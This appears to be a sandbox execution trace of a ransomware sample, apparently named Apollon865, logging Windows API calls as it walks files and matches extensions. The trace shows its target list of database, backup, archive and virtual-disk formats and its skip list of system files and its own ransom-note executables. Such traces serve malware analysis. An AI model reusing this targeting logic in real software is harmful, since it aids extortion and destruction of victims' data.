	[0061.184] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0061.184] lstrlenW (lpString="zip") returned 3
	[0061.184] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0061.184] lstrlenW (lpString="tgz") returned 3
	[0061.184] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0061.184] lstrlenW (lpString="vbox") returned 4
	[0061.184] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0061.184] lstrlenW (lpString="vdi") returned 3
	[0061.184] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0061.184] lstrlenW (lpString="vhd") returned 3
	[0061.184] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0061.184] lstrlenW (lpString="vhdx") returned 4
	[0061.184] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0061.184] lstrlenW (lpString="avhd") returned 4
	[0061.184] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0061.184] lstrlenW (lpString="db") returned 2
	[0061.184] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0061.184] lstrlenW (lpString="db2") returned 3
	[0061.184] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0061.184] lstrlenW (lpString="db3") returned 3
	[0061.184] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0061.185] lstrlenW (lpString="dbf") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0061.185] lstrlenW (lpString="mdf") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0061.185] lstrlenW (lpString="mdb") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0061.185] lstrlenW (lpString="sql") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0061.185] lstrlenW (lpString="sqlite") returned 6
	[0061.185] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0061.185] lstrlenW (lpString="sqlite3") returned 7
	[0061.185] lstrcmpiW (lpString1="ds.html", lpString2="sqlite3") returned -1
	[0061.185] lstrlenW (lpString="sqlitedb") returned 8
	[0061.185] lstrcmpiW (lpString1="eds.html", lpString2="sqlitedb") returned -1
	[0061.185] lstrlenW (lpString="xml") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0061.185] lstrlenW (lpString="$er") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0061.185] lstrlenW (lpString="4dd") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0061.185] lstrlenW (lpString="4dl") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0061.185] lstrlenW (lpString="^^^") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0061.185] lstrlenW (lpString="abs") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0061.185] lstrlenW (lpString="abx") returned 3
	[0061.185] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0061.185] lstrlenW (lpString="accdb") returned 5
	[0061.185] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0061.185] lstrlenW (lpString="accdc") returned 5
	[0061.185] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0061.185] lstrlenW (lpString="accde") returned 5
	[0061.186] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0061.186] lstrlenW (lpString="accdr") returned 5
	[0061.186] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0061.186] lstrlenW (lpString="accdt") returned 5
	[0061.186] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0061.186] lstrlenW (lpString="accdw") returned 5
	[0061.186] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0061.186] lstrlenW (lpString="accft") returned 5
	[0061.186] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0061.186] lstrlenW (lpString="adb") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0061.186] lstrlenW (lpString="adb") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0061.186] lstrlenW (lpString="ade") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0061.186] lstrlenW (lpString="adf") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0061.186] lstrlenW (lpString="adn") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0061.186] lstrlenW (lpString="adp") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0061.186] lstrlenW (lpString="alf") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0061.186] lstrlenW (lpString="ask") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0061.186] lstrlenW (lpString="btr") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0061.186] lstrlenW (lpString="cat") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0061.186] lstrlenW (lpString="cdb") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0061.186] lstrlenW (lpString="ckp") returned 3
	[0061.186] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0061.186] lstrlenW (lpString="cma") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0061.187] lstrlenW (lpString="cpd") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0061.187] lstrlenW (lpString="dacpac") returned 6
	[0061.187] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0061.187] lstrlenW (lpString="dad") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0061.187] lstrlenW (lpString="dadiagrams") returned 10
	[0061.187] lstrcmpiW (lpString1="Feeds.html", lpString2="dadiagrams") returned 1
	[0061.187] lstrlenW (lpString="daschema") returned 8
	[0061.187] lstrcmpiW (lpString1="eds.html", lpString2="daschema") returned 1
	[0061.187] lstrlenW (lpString="db-journal") returned 10
	[0061.187] lstrcmpiW (lpString1="Feeds.html", lpString2="db-journal") returned 1
	[0061.187] lstrlenW (lpString="db-shm") returned 6
	[0061.187] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0061.187] lstrlenW (lpString="db-wal") returned 6
	[0061.187] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0061.187] lstrlenW (lpString="dbc") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0061.187] lstrlenW (lpString="dbs") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0061.187] lstrlenW (lpString="dbt") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0061.187] lstrlenW (lpString="dbv") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0061.187] lstrlenW (lpString="dbx") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0061.187] lstrlenW (lpString="dcb") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0061.187] lstrlenW (lpString="dct") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1
	[0061.187] lstrlenW (lpString="dcx") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1
	[0061.187] lstrlenW (lpString="ddl") returned 3
	[0061.187] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1
	[0061.188] lstrlenW (lpString="dlis") returned 4
	[0061.188] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1
	[0061.188] lstrlenW (lpString="dp1") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1
	[0061.188] lstrlenW (lpString="dqy") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1
	[0061.188] lstrlenW (lpString="dsk") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1
	[0061.188] lstrlenW (lpString="dsn") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1
	[0061.188] lstrlenW (lpString="dtsx") returned 4
	[0061.188] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1
	[0061.188] lstrlenW (lpString="dxl") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1
	[0061.188] lstrlenW (lpString="eco") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1
	[0061.188] lstrlenW (lpString="ecx") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1
	[0061.188] lstrlenW (lpString="edb") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1
	[0061.188] lstrlenW (lpString="epim") returned 4
	[0061.188] lstrcmpiW (lpString1="html", lpString2="epim") returned 1
	[0061.188] lstrlenW (lpString="fcd") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1
	[0061.188] lstrlenW (lpString="fdb") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1
	[0061.188] lstrlenW (lpString="fic") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1
	[0061.188] lstrlenW (lpString="flexolibrary") returned 12
	[0061.188] lstrcmpiW (lpString1="SSFeeds.html", lpString2="flexolibrary") returned 1
	[0061.188] lstrlenW (lpString="fm5") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1
	[0061.188] lstrlenW (lpString="fmp") returned 3
	[0061.188] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1
	[0061.188] lstrlenW (lpString="fmp12") returned 5
	[0061.189] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1
	[0061.189] lstrlenW (lpString="fmpsl") returned 5
	[0061.189] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1
	[0061.189] lstrlenW (lpString="fol") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1
	[0061.189] lstrlenW (lpString="fp3") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1
	[0061.189] lstrlenW (lpString="fp4") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1
	[0061.189] lstrlenW (lpString="fp5") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1
	[0061.189] lstrlenW (lpString="fp7") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1
	[0061.189] lstrlenW (lpString="fpt") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1
	[0061.189] lstrlenW (lpString="frm") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1
	[0061.189] lstrlenW (lpString="gdb") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0061.189] lstrlenW (lpString="gdb") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0061.189] lstrlenW (lpString="grdb") returned 4
	[0061.189] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1
	[0061.189] lstrlenW (lpString="gwi") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1
	[0061.189] lstrlenW (lpString="hdb") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1
	[0061.189] lstrlenW (lpString="his") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="his") returned 1
	[0061.189] lstrlenW (lpString="ib") returned 2
	[0061.189] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1
	[0061.189] lstrlenW (lpString="idb") returned 3
	[0061.189] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1
	[0061.190] lstrlenW (lpString="ihx") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1
	[0061.190] lstrlenW (lpString="itdb") returned 4
	[0061.190] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1
	[0061.190] lstrlenW (lpString="itw") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1
	[0061.190] lstrlenW (lpString="jet") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1
	[0061.190] lstrlenW (lpString="jtx") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1
	[0061.190] lstrlenW (lpString="kdb") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1
	[0061.190] lstrlenW (lpString="kexi") returned 4
	[0061.190] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1
	[0061.190] lstrlenW (lpString="kexic") returned 5
	[0061.190] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1
	[0061.190] lstrlenW (lpString="kexis") returned 5
	[0061.190] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1
	[0061.190] lstrlenW (lpString="lgc") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1
	[0061.190] lstrlenW (lpString="lwx") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1
	[0061.190] lstrlenW (lpString="maf") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1
	[0061.190] lstrlenW (lpString="maq") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1
	[0061.190] lstrlenW (lpString="mar") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1
	[0061.190] lstrlenW (lpString="marshal") returned 7
	[0061.190] lstrcmpiW (lpString1="ds.html", lpString2="marshal") returned -1
	[0061.190] lstrlenW (lpString="mas") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1
	[0061.190] lstrlenW (lpString="mav") returned 3
	[0061.190] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1
	[0061.191] lstrlenW (lpString="maw") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1
	[0061.191] lstrlenW (lpString="mdbhtml") returned 7
	[0061.191] lstrcmpiW (lpString1="ds.html", lpString2="mdbhtml") returned -1
	[0061.191] lstrlenW (lpString="mdn") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1
	[0061.191] lstrlenW (lpString="mdt") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1
	[0061.191] lstrlenW (lpString="mfd") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1
	[0061.191] lstrlenW (lpString="mpd") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1
	[0061.191] lstrlenW (lpString="mrg") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1
	[0061.191] lstrlenW (lpString="mud") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1
	[0061.191] lstrlenW (lpString="mwb") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1
	[0061.191] lstrlenW (lpString="myd") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1
	[0061.191] lstrlenW (lpString="ndf") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1
	[0061.191] lstrlenW (lpString="nnt") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1
	[0061.191] lstrlenW (lpString="nrmlib") returned 6
	[0061.191] lstrcmpiW (lpString1="s.html", lpString2="nrmlib") returned 1
	[0061.191] lstrlenW (lpString="ns2") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1
	[0061.191] lstrlenW (lpString="ns3") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1
	[0061.191] lstrlenW (lpString="ns4") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1
	[0061.191] lstrlenW (lpString="nsf") returned 3
	[0061.191] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1
	[0061.191] lstrlenW (lpString="nv") returned 2
	[0061.192] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1
	[0061.192] lstrlenW (lpString="nv2") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1
	[0061.192] lstrlenW (lpString="nwdb") returned 4
	[0061.192] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1
	[0061.192] lstrlenW (lpString="nyf") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1
	[0061.192] lstrlenW (lpString="odb") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0061.192] lstrlenW (lpString="odb") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0061.192] lstrlenW (lpString="oqy") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1
	[0061.192] lstrlenW (lpString="ora") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1
	[0061.192] lstrlenW (lpString="orx") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1
	[0061.192] lstrlenW (lpString="owc") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1
	[0061.192] lstrlenW (lpString="p96") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1
	[0061.192] lstrlenW (lpString="p97") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1
	[0061.192] lstrlenW (lpString="pan") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1
	[0061.192] lstrlenW (lpString="pdb") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1
	[0061.192] lstrlenW (lpString="pdm") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1
	[0061.192] lstrlenW (lpString="pnz") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1
	[0061.192] lstrlenW (lpString="qry") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1
	[0061.192] lstrlenW (lpString="qvd") returned 3
	[0061.192] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1
	[0061.193] lstrlenW (lpString="rbf") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1
	[0061.193] lstrlenW (lpString="rctd") returned 4
	[0061.193] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1
	[0061.193] lstrlenW (lpString="rod") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1
	[0061.193] lstrlenW (lpString="rodx") returned 4
	[0061.193] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1
	[0061.193] lstrlenW (lpString="rpd") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1
	[0061.193] lstrlenW (lpString="rsd") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1
	[0061.193] lstrlenW (lpString="sas7bdat") returned 8
	[0061.193] lstrcmpiW (lpString1="eds.html", lpString2="sas7bdat") returned -1
	[0061.193] lstrlenW (lpString="sbf") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1
	[0061.193] lstrlenW (lpString="scx") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1
	[0061.193] lstrlenW (lpString="sdb") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1
	[0061.193] lstrlenW (lpString="sdc") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1
	[0061.193] lstrlenW (lpString="sdf") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1
	[0061.193] lstrlenW (lpString="sis") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1
	[0061.193] lstrlenW (lpString="spq") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1
	[0061.193] lstrlenW (lpString="te") returned 2
	[0061.193] lstrcmpiW (lpString1="ml", lpString2="te") returned -1
	[0061.193] lstrlenW (lpString="teacher") returned 7
	[0061.193] lstrcmpiW (lpString1="ds.html", lpString2="teacher") returned -1
	[0061.193] lstrlenW (lpString="tmd") returned 3
	[0061.193] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1
	[0061.193] lstrlenW (lpString="tps") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1
	[0061.194] lstrlenW (lpString="trc") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0061.194] lstrlenW (lpString="trc") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0061.194] lstrlenW (lpString="trm") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1
	[0061.194] lstrlenW (lpString="udb") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1
	[0061.194] lstrlenW (lpString="udl") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1
	[0061.194] lstrlenW (lpString="usr") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1
	[0061.194] lstrlenW (lpString="v12") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1
	[0061.194] lstrlenW (lpString="vis") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1
	[0061.194] lstrlenW (lpString="vpd") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1
	[0061.194] lstrlenW (lpString="vvv") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1
	[0061.194] lstrlenW (lpString="wdb") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1
	[0061.194] lstrlenW (lpString="wmdb") returned 4
	[0061.194] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1
	[0061.194] lstrlenW (lpString="wrk") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1
	[0061.194] lstrlenW (lpString="xdb") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1
	[0061.194] lstrlenW (lpString="xld") returned 3
	[0061.194] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1
	[0061.194] lstrlenW (lpString="xmlff") returned 5
	[0061.194] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1
	[0061.194] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="Apollon865.txt.exe") returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="temp") returned -1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="pagefile.sys") returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="boot") returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="ids.txt") returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="perflogs") returned 1
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2="MSBuild") returned 1
	[0061.195] lstrlenW (lpString="settings.html") returned 13
	[0061.195] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\RSSFeeds.html") returned 76
	[0061.195] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="settings.html" | out: lpString1="settings.html") returned="settings.html"
	[0061.195] lstrlenW (lpString="settings.html") returned 13
	[0061.195] lstrlenW (lpString="Apollon865") returned 10
	[0061.195] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0061.195] lstrlenW (lpString=".dll") returned 4
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0061.195] lstrlenW (lpString=".lnk") returned 4
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0061.195] lstrlenW (lpString=".ini") returned 4
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0061.195] lstrlenW (lpString=".sys") returned 4
	[0061.195] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0061.195] lstrlenW (lpString="settings.html") returned 13
	[0061.195] lstrlenW (lpString="bak") returned 3
	[0061.195] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0061.195] lstrlenW (lpString="ba_") returned 3
	[0061.195] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0061.195] lstrlenW (lpString="dbb") returned 3
	[0061.195] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0061.196] lstrlenW (lpString="vmdk") returned 4
	[0061.196] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0061.196] lstrlenW (lpString="rar") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0061.196] lstrlenW (lpString="zip") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0061.196] lstrlenW (lpString="tgz") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0061.196] lstrlenW (lpString="vbox") returned 4
	[0061.196] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0061.196] lstrlenW (lpString="vdi") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0061.196] lstrlenW (lpString="vhd") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0061.196] lstrlenW (lpString="vhdx") returned 4
	[0061.196] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0061.196] lstrlenW (lpString="avhd") returned 4
	[0061.196] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0061.196] lstrlenW (lpString="db") returned 2
	[0061.196] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0061.196] lstrlenW (lpString="db2") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0061.196] lstrlenW (lpString="db3") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0061.196] lstrlenW (lpString="dbf") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0061.196] lstrlenW (lpString="mdf") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0061.196] lstrlenW (lpString="mdb") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0061.196] lstrlenW (lpString="sql") returned 3
	[0061.196] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0061.196] lstrlenW (lpString="sqlite") returned 6
	[0061.196] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0061.196] lstrlenW (lpString="sqlite3") returned 7
	[0061.197] lstrcmpiW (lpString1="gs.html", lpString2="sqlite3") returned -1
	[0061.197] lstrlenW (lpString="sqlitedb") returned 8
	[0061.197] lstrcmpiW (lpString1="ngs.html", lpString2="sqlitedb") returned -1
	[0061.197] lstrlenW (lpString="xml") returned 3
	[0061.197] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0061.197] lstrlenW (lpString="$er") returned 3
	[0061.197] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0061.197] lstrlenW (lpString="4dd") returned 3
	[0061.197] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0061.197] lstrlenW (lpString="4dl") returned 3
	[0061.197] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0061.197] lstrlenW (lpString="^^^") returned 3
	[0061.197] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0061.197] lstrlenW (lpString="abs") returned 3
